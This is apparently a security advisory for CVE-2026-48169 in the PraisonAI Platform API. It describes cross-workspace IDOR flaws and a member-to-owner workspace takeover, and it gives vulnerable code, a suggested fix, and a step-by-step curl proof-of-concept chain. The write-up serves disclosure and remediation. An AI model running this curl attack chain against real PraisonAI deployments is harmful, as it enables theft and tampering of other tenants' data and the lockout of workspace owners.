CVE-2026-48169

CVSS v3.1

8.8

High

Vector

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.

Both issues come from the same gap: the route layer pulls workspace id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require workspace member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.

Details

Part 1: Cross-Workspace IDOR (Issues and Projects)

Vulnerable Files:

praisonai platform/services/issue service.py
praisonai platform/services/project service.py
praisonai platform/api/routes/issues.py
praisonai platform/api/routes/projects.py

There is a consistent split between the route layer and the service layer. Routes pull workspace id from the URL and verify membership:

GET /api/v1/workspaces/{workspace id}/issues/{issue id}
            ^^^^^^^^^^^^^^
            require workspace member() checks this

But the service methods these routes call perform global lookups that ignore workspace id entirely:

IssueService.get(), line 72:

async def get(self, issue id: str) -> Optional[Issue]:
  """Get issue by ID."""
  return await self. session.get(Issue, issue id)

ProjectService.get(), line 47:

async def get(self, project id: str) -> Optional[Project]:
  """Get project by ID."""
  return await self. session.get(Project, project id)

Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace id = ? filter.

Compare that with the properly scoped list for workspace() methods in the same files:

IssueService.list for workspace(), line 76:

async def list for workspace(self, workspace id: str, ...) -> list[Issue]:
  stmt = select(Issue).where(Issue.workspace id == workspace id)
  # ... properly scoped

The listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.

Route that discards workspace id, issues.py line 82:

@router.get("/{issue id}", response model=IssueResponse)
async def get issue(
  workspace id: str,                    # Extracted from URL
  issue id: str,
  user: AuthIdentity = Depends(require workspace member),  # Membership verified
  session: AsyncSession = Depends(get db),
):
  svc = IssueService(session)
  issue = await svc.get(issue id)  # workspace id never passed to service

All affected operations:

Service	Method	Line	Workspace scoped?
IssueService	`get()`	72	No, uses `session.get(Issue, issue id)`
IssueService	`update()`	97	No, calls `self.get(issue id)`
IssueService	`delete()`	150	No, calls `self.get(issue id)`
IssueService	`list for workspace()`	76	Yes, filters by `workspace id`
ProjectService	`get()`	47	No, uses `session.get(Project, project id)`
ProjectService	`update()`	62	No, calls `self.get(project id)`
ProjectService	`delete()`	88	No, calls `self.get(project id)`
ProjectService	`get stats()`	97	No, only filters by `project id`
ProjectService	`list for workspace()`	51	Yes, filters by `workspace id`

Part 2: Workspace Takeover via Missing Role Enforcement

Vulnerable Files:

praisonai platform/api/routes/workspaces.py (member management routes)
praisonai platform/api/deps.py (authorization dependency)
praisonai platform/services/member service.py (role hierarchy implementation)

The authorization dependency supports role-based access:

require workspace member(), deps.py line 54:

async def require workspace member(
  workspace id: str,
  user: AuthIdentity = Depends(get current user),
  session: AsyncSession = Depends(get db),
  min role: str = "member",     # Accepts higher roles, but nobody passes them
) -> AuthIdentity:
  member svc = MemberService(session)
  has = await member svc.has role(workspace id, user.id, min role)
  if not has:
    raise HTTPException(status code=403, ...)

The has role() method correctly implements role hierarchy:

MemberService.has role(), member service.py line 80:

async def has role(self, workspace id, user id, required role) -> bool:
  """Role hierarchy: owner > admin > member."""
  member = await self.get(workspace id, user id)
  if member is None:
    return False
  role levels = {"owner": 3, "admin": 2, "member": 1}
  user level = role levels.get(member.role, 0)
  required level = role levels.get(required role, 0)
  return user level >= required level

This works correctly, but no route ever calls require workspace member with min role="owner" or min role="admin". Every member management route uses the default "member":

Self-promotion, workspaces.py line 115:

@router.patch("/{workspace id}/members/{user id}", response model=MemberResponse)
async def update member role(
  workspace id: str,
  user id: str,
  body: MemberUpdate,
  user: AuthIdentity = Depends(require workspace member), # min role="member"
  session: AsyncSession = Depends(get db),
):
  member svc = MemberService(session)
  member = await member svc.update role(workspace id, user id, body.role)
  # No check: is user modifying their own role? (self-promotion)
  # No check: is body.role > caller's current role? (escalation)
  # No check: is target a higher role than caller? (modifying superiors)

Owner removal, workspaces.py line 130:

@router.delete("/{workspace id}/members/{user id}", status code=204)
async def remove member(
  workspace id: str,
  user id: str,
  user: AuthIdentity = Depends(require workspace member), # min role="member"
  ...
):
  member svc = MemberService(session)
  removed = await member svc.remove(workspace id, user id)
  # No check: is target a higher role than caller?
  # No check: is this the last owner?

Three checks are missing from update member role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove member: role hierarchy and last-owner protection.

PoC

Prerequisites:

A running PraisonAI Platform instance with default configuration
No special configuration required

Server setup:

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai platform.api.app:create app 
 --factory --host 127.0.0.1 --port 8000

Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

BASE="http://127.0.0.1:8000/api/v1"

# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" 
 -H "Content-Type: application/json" 
 -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

# CEO creates workspace with confidential issue
VICTIM WS=$(curl -sfL -X POST "$BASE/workspaces/" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $VICTIM TOKEN" 
 -d '{"name":"Executive Board"}' 
 | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM WS/issues/" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $VICTIM TOKEN" 
 -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' 
 | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM WS"
echo "Secret issue: $ISSUE ID"

Step 2: Attacker registers and creates their own workspace

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" 
 -H "Content-Type: application/json" 
 -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK WS=$(curl -sfL -X POST "$BASE/workspaces/" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $ATK TOKEN" 
 -d '{"name":"Attacker WS"}' 
 | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

curl -sfL "$BASE/workspaces/$ATK WS/issues/$ISSUE ID" 
 -H "Authorization: Bearer $ATK TOKEN"

Observed output (HTTP 200):

{
 "id": "<ISSUE ID>",
 "workspace id": "<VICTIM WS>",
 "title": "M&A Target List",
 "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
 "status": "backlog"
}

The response contains the victim's workspace id, which is different from the workspace in the request URL. The request was scoped to $ATK WS but returned data from $VICTIM WS.

Step 4: IDOR - Attacker modifies victim's issue

curl -sfL -X PATCH "$BASE/workspaces/$ATK WS/issues/$ISSUE ID" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $ATK TOKEN" 
 -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

curl -sfL -X POST "$BASE/workspaces/$VICTIM WS/members/" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $VICTIM TOKEN" 
 -d "{"user id":"$ATK ID","role":"member"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM WS/members/$ATK ID" 
 -H "Content-Type: application/json" 
 -H "Authorization: Bearer $ATK TOKEN" 
 -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d["role"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

curl -sLo /dev/null -w "HTTP %{http code}" -X DELETE 
 "$BASE/workspaces/$VICTIM WS/members/$VICTIM ID" 
 -H "Authorization: Bearer $ATK TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

curl -sfL "$BASE/workspaces/$VICTIM WS/members/" 
 -H "Authorization: Bearer $ATK TOKEN"

Observed output:

[
 {
  "workspace id": "<VICTIM WS>",
  "user id": "<ATK ID>",
  "role": "owner"
 }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact

Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace id}/...) implies tenant isolation but provides none.
Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

Suggested Fix

1. Scope all service get/update/delete methods to workspace id

# issue service.py, replace get() at line 72:
async def get(self, issue id: str, workspace id: str) -> Optional[Issue]:
  """Get issue by ID, scoped to workspace."""
  issue = await self. session.get(Issue, issue id)
  if issue is None or issue.workspace id != workspace id:
    return None
  return issue

# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace id from routes to services

# issues.py, fix get issue at line 82:
issue = await svc.get(issue id, workspace id) # Now workspace-scoped

3. Require owner role for member management and add escalation guards

# workspaces.py, fix update member role:
user: AuthIdentity = Depends(
  lambda **kw: require workspace member(**kw, min role="owner")
)

# Add self-modification and last-owner guards:
if user id == user.id:
  raise HTTPException(403, "Cannot change your own role")

# Fix remove member:
target = await member svc.get(workspace id, user id)
if target and target.role == "owner":
  owners = [m for m in await member svc.list members(workspace id) if m.role == "owner"]
  if len(owners) <= 1:
    raise HTTPException(403, "Cannot remove the last owner")

Fix

IDOR

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-639CWE-862

Related Identifiers

CVE-2026-48169

GHSA-GV23-XRM3-8C62

Affected Products

Praisonai-Platform

CVE-2026-48169

Summary

Details

Part 1: Cross-Workspace IDOR (Issues and Projects)

Part 2: Workspace Takeover via Missing Role Enforcement

PoC

Scenario: Full attack chain (IDOR + Privilege Escalation)

Impact

Suggested Fix

Weakness Enumeration

Related Identifiers

Affected Products

References · 3